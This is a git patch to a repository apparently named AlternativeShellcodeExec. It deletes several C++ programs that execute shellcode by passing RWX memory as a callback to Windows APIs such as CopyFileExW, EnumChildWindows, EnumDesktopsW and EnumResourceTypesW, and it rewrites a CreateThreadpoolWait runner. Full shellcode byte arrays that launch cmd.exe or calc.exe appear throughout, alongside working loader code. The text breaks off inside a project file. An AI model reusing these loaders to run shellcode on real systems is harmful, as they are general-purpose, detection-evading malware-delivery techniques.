From 964a6cfdb8583fa6f0f1c1dc34beda04cac25fd3 Mon Sep 17 00:00:00 2001 From: S4R1N Date: Mon, 1 Mar 2021 18:37:36 -0500 Subject: [PATCH] removed faulty functions --- AlternativeShellcodeExec.sln | 50 ------ CopyFileEx/CopyFileEx.cpp | 49 ------ CopyFileEx/CopyFileEx.vcxproj | 147 ------------------ CopyFileEx/CopyFileEx.vcxproj.filters | 22 --- CreateThreadPoolWait/CreateThreadPoolWait.cpp | 52 +++++-- EnumChildWindows/EnumChildWindows.cpp | 48 ------ EnumChildWindows/EnumChildWindows.vcxproj | 147 ------------------ .../EnumChildWindows.vcxproj.filters | 22 --- EnumDesktopsW/EnumDesktopsW.cpp | 48 ------ EnumDesktopsW/EnumDesktopsW.vcxproj | 147 ------------------ EnumDesktopsW/EnumDesktopsW.vcxproj.filters | 22 --- EnumResourceTypesW/EnumResourceTypesW.cpp | 49 ------ EnumResourceTypesW/EnumResourceTypesW.vcxproj | 147 ------------------ .../EnumResourceTypesW.vcxproj.filters | 22 --- EnumWindows/EnumWindows.cpp | 49 ------ EnumWindows/EnumWindows.vcxproj | 147 ------------------ EnumWindows/EnumWindows.vcxproj.filters | 22 --- 17 files changed, 37 insertions(+), 1153 deletions(-) delete mode 100644 CopyFileEx/CopyFileEx.cpp delete mode 100644 CopyFileEx/CopyFileEx.vcxproj delete mode 100644 CopyFileEx/CopyFileEx.vcxproj.filters delete mode 100644 EnumChildWindows/EnumChildWindows.cpp delete mode 100644 EnumChildWindows/EnumChildWindows.vcxproj delete mode 100644 EnumChildWindows/EnumChildWindows.vcxproj.filters delete mode 100644 EnumDesktopsW/EnumDesktopsW.cpp delete mode 100644 EnumDesktopsW/EnumDesktopsW.vcxproj delete mode 100644 EnumDesktopsW/EnumDesktopsW.vcxproj.filters delete mode 100644 EnumResourceTypesW/EnumResourceTypesW.cpp delete mode 100644 EnumResourceTypesW/EnumResourceTypesW.vcxproj delete mode 100644 EnumResourceTypesW/EnumResourceTypesW.vcxproj.filters delete mode 100644 EnumWindows/EnumWindows.cpp delete mode 100644 EnumWindows/EnumWindows.vcxproj delete mode 100644 EnumWindows/EnumWindows.vcxproj.filters diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln index 78f4546..ae9454d 100644 --- a/AlternativeShellcodeExec.sln +++ b/AlternativeShellcodeExec.sln @@ -3,18 +3,8 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30907.101 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumChildWindows", "EnumChildWindows\EnumChildWindows.vcxproj", "{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}" -EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateThreadPoolWait", "CreateThreadPoolWait\CreateThreadPoolWait.vcxproj", "{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDesktopsW", "EnumDesktopsW\EnumDesktopsW.vcxproj", "{92037E02-B586-4DA5-B0A7-79BCB9811BF5}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumWindows", "EnumWindows\EnumWindows.vcxproj", "{34E4F062-B47C-4D23-AB4B-8D624B97449A}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CopyFileEx", "CopyFileEx\CopyFileEx.vcxproj", "{E5B4C744-8F7B-4878-AC20-773DA410EF1D}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumResourceTypesW", "EnumResourceTypesW\EnumResourceTypesW.vcxproj", "{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}" -EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -23,14 +13,6 @@ Global Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x64.ActiveCfg = Debug|x64 - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x64.Build.0 = Debug|x64 - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x86.ActiveCfg = Debug|Win32 - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x86.Build.0 = Debug|Win32 - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x64.ActiveCfg = Release|x64 - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x64.Build.0 = Release|x64 - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x86.ActiveCfg = Release|Win32 - {5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x86.Build.0 = Release|Win32 {7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x64.ActiveCfg = Debug|x64 {7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x64.Build.0 = Debug|x64 {7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x86.ActiveCfg = Debug|Win32 @@ -39,38 +21,6 @@ Global {7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x64.Build.0 = Release|x64 {7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.ActiveCfg = Release|Win32 {7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.Build.0 = Release|Win32 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x64.ActiveCfg = Debug|x64 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x64.Build.0 = Debug|x64 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x86.ActiveCfg = Debug|Win32 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x86.Build.0 = Debug|Win32 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x64.ActiveCfg = Release|x64 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x64.Build.0 = Release|x64 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x86.ActiveCfg = Release|Win32 - {92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x86.Build.0 = Release|Win32 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x64.ActiveCfg = Debug|x64 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x64.Build.0 = Debug|x64 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x86.ActiveCfg = Debug|Win32 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x86.Build.0 = Debug|Win32 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x64.ActiveCfg = Release|x64 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x64.Build.0 = Release|x64 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x86.ActiveCfg = Release|Win32 - {34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x86.Build.0 = Release|Win32 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x64.ActiveCfg = Debug|x64 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x64.Build.0 = Debug|x64 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x86.ActiveCfg = Debug|Win32 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x86.Build.0 = Debug|Win32 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x64.ActiveCfg = Release|x64 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x64.Build.0 = Release|x64 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x86.ActiveCfg = Release|Win32 - {E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x86.Build.0 = Release|Win32 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x64.ActiveCfg = Debug|x64 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x64.Build.0 = Debug|x64 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x86.ActiveCfg = Debug|Win32 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x86.Build.0 = Debug|Win32 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x64.ActiveCfg = Release|x64 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x64.Build.0 = Release|x64 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x86.ActiveCfg = Release|Win32 - {A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/CopyFileEx/CopyFileEx.cpp b/CopyFileEx/CopyFileEx.cpp deleted file mode 100644 index 0d764ff..0000000 --- a/CopyFileEx/CopyFileEx.cpp +++ /dev/null @@ -1,49 +0,0 @@ -#include -#include - - - -int err(const char* errmsg) { - - - printf("Error: %s (%u)\n", errmsg, ::GetLastError()); - return 1; - -} - - -int main() -{ - - - - char shellcode[] = - "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" - "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" - "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" - "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" - "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" - "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" - "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" - "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" - "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" - "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" - "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" - "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" - "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" - "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" - "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" - "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" - "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" - "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" - "\x2e\x65\x78\x65\x00"; - - LPVOID buf = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!buf) - return err("VirtualAlloc Failure"); - - ::RtlMoveMemory(buf, shellcode, sizeof(shellcode)); - ::DeleteFileW(L"C:\\Windows\\Temp\\backup.log"); - ::CopyFileExW(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", (LPPROGRESS_ROUTINE)buf, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS); - -} \ No newline at end of file diff --git a/CopyFileEx/CopyFileEx.vcxproj b/CopyFileEx/CopyFileEx.vcxproj deleted file mode 100644 index 4e72595..0000000 --- a/CopyFileEx/CopyFileEx.vcxproj +++ /dev/null @@ -1,147 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {e5b4c744-8f7b-4878-ac20-773da410ef1d} - CopyFileEx - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/CopyFileEx/CopyFileEx.vcxproj.filters b/CopyFileEx/CopyFileEx.vcxproj.filters deleted file mode 100644 index e085030..0000000 --- a/CopyFileEx/CopyFileEx.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file diff --git a/CreateThreadPoolWait/CreateThreadPoolWait.cpp b/CreateThreadPoolWait/CreateThreadPoolWait.cpp index 3e8b095..ec9b5df 100644 --- a/CreateThreadPoolWait/CreateThreadPoolWait.cpp +++ b/CreateThreadPoolWait/CreateThreadPoolWait.cpp @@ -1,11 +1,11 @@ -#include +#include +#include #include -/* -* Credit goes to alfarom256 for finding this! -*/ +#define LEN 277 -unsigned char shellcode[] = +// run calc +unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" @@ -21,21 +21,43 @@ unsigned char shellcode[] = "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" -"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" -"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" -"\x2e\x65\x78\x65\x00"; +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; int main() { - HANDLE event = ::CreateEvent(NULL, FALSE, TRUE, NULL); - LPVOID shellcodeAddress = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); - ::RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode)); + HANDLE hEvent; + hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); - PTP_WAIT threadPoolWait = ::CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL); - ::SetThreadpoolWait(threadPoolWait, event, NULL); - ::WaitForSingleObject(event, INFINITE); - return 0; + + /* + Can just shove a payload in RX mem and cast it to PTP_WAIT_CALLBACK + ¯\_(ツ)_/¯ + */ + + LPVOID addr = VirtualAlloc(NULL, LEN, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + RtlMoveMemory(addr, op, LEN); + DWORD old; + + + if (!VirtualProtect(addr, LEN, PAGE_EXECUTE_READ, &old)) + printf("%d", GetLastError()); + + PTP_WAIT ptp_w = CreateThreadpoolWait((PTP_WAIT_CALLBACK)addr, NULL, NULL); + + + SetThreadpoolWait(ptp_w, hEvent, 0); + + // need to send events so the Threadpool Wait Callback has a chance to "catch" them and run + SetEvent(hEvent); + WaitForThreadpoolWaitCallbacks(ptp_w, FALSE); + SetEvent(hEvent); + while (TRUE) + { + Sleep(9000); + } } \ No newline at end of file diff --git a/EnumChildWindows/EnumChildWindows.cpp b/EnumChildWindows/EnumChildWindows.cpp deleted file mode 100644 index 9d40545..0000000 --- a/EnumChildWindows/EnumChildWindows.cpp +++ /dev/null @@ -1,48 +0,0 @@ -#include -#include - - - -int err(const char* errmsg) { - - - printf("Error: %s (%u)\n", errmsg, ::GetLastError()); - return 1; - -} - - -int main() -{ - - char shellcode[] = - "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" - "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" - "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" - "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" - "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" - "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" - "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" - "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" - "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" - "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" - "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" - "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" - "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" - "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" - "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" - "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" - "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" - "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" - "\x2e\x65\x78\x65\x00"; - - LPVOID buf = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!buf) - return err("VirtualAlloc Failure"); - - if (::RtlMoveMemory(buf, shellcode, sizeof(shellcode))) { - - ::EnumChildWindows(NULL, (WNDENUMPROC)buf, NULL); - - } -} \ No newline at end of file diff --git a/EnumChildWindows/EnumChildWindows.vcxproj b/EnumChildWindows/EnumChildWindows.vcxproj deleted file mode 100644 index b1b14f8..0000000 --- a/EnumChildWindows/EnumChildWindows.vcxproj +++ /dev/null @@ -1,147 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {5afaa3ae-0019-4828-86eb-4b34c489bcdb} - EnumChildWindows - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/EnumChildWindows/EnumChildWindows.vcxproj.filters b/EnumChildWindows/EnumChildWindows.vcxproj.filters deleted file mode 100644 index 35a7707..0000000 --- a/EnumChildWindows/EnumChildWindows.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file diff --git a/EnumDesktopsW/EnumDesktopsW.cpp b/EnumDesktopsW/EnumDesktopsW.cpp deleted file mode 100644 index e862031..0000000 --- a/EnumDesktopsW/EnumDesktopsW.cpp +++ /dev/null @@ -1,48 +0,0 @@ -#include -#include - - - -int err(const char* errmsg) { - - - printf("Error: %s (%u)\n", errmsg, ::GetLastError()); - return 1; - -} - - -int main() -{ - - char shellcode[] = - "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" - "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" - "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" - "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" - "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" - "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" - "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" - "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" - "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" - "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" - "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" - "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" - "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" - "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" - "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" - "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" - "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" - "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" - "\x2e\x65\x78\x65\x00"; - - LPVOID buf = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!buf) - return err("VirtualAlloc Failure"); - - ::RtlMoveMemory(buf, shellcode, sizeof(shellcode)); - - ::EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)buf, NULL); - - -} \ No newline at end of file diff --git a/EnumDesktopsW/EnumDesktopsW.vcxproj b/EnumDesktopsW/EnumDesktopsW.vcxproj deleted file mode 100644 index 93fc179..0000000 --- a/EnumDesktopsW/EnumDesktopsW.vcxproj +++ /dev/null @@ -1,147 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {92037e02-b586-4da5-b0a7-79bcb9811bf5} - EnumDesktopsW - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/EnumDesktopsW/EnumDesktopsW.vcxproj.filters b/EnumDesktopsW/EnumDesktopsW.vcxproj.filters deleted file mode 100644 index a9a4b7a..0000000 --- a/EnumDesktopsW/EnumDesktopsW.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file diff --git a/EnumResourceTypesW/EnumResourceTypesW.cpp b/EnumResourceTypesW/EnumResourceTypesW.cpp deleted file mode 100644 index f118ae4..0000000 --- a/EnumResourceTypesW/EnumResourceTypesW.cpp +++ /dev/null @@ -1,49 +0,0 @@ -#include -#include - - - -int err(const char* errmsg) { - - - printf("Error: %s (%u)\n", errmsg, ::GetLastError()); - return 1; - -} - - -int main() -{ - - - - char shellcode[] = - "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" - "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" - "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" - "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" - "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" - "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" - "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" - "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" - "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" - "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" - "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" - "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" - "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" - "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" - "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" - "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" - "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" - "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" - "\x2e\x65\x78\x65\x00"; - - LPVOID buf = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!buf) - return err("VirtualAlloc Failure"); - - ::RtlMoveMemory(buf, shellcode, sizeof(shellcode)); - - ::EnumResourceTypesW(::LoadLibraryW(L"Kernel32.dll"), (ENUMRESTYPEPROCW)buf, NULL); - -} \ No newline at end of file diff --git a/EnumResourceTypesW/EnumResourceTypesW.vcxproj b/EnumResourceTypesW/EnumResourceTypesW.vcxproj deleted file mode 100644 index 00e17ae..0000000 --- a/EnumResourceTypesW/EnumResourceTypesW.vcxproj +++ /dev/null @@ -1,147 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {a314bbf5-0487-4227-bca5-735b1b4bf9e9} - EnumResourceTypesW - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - 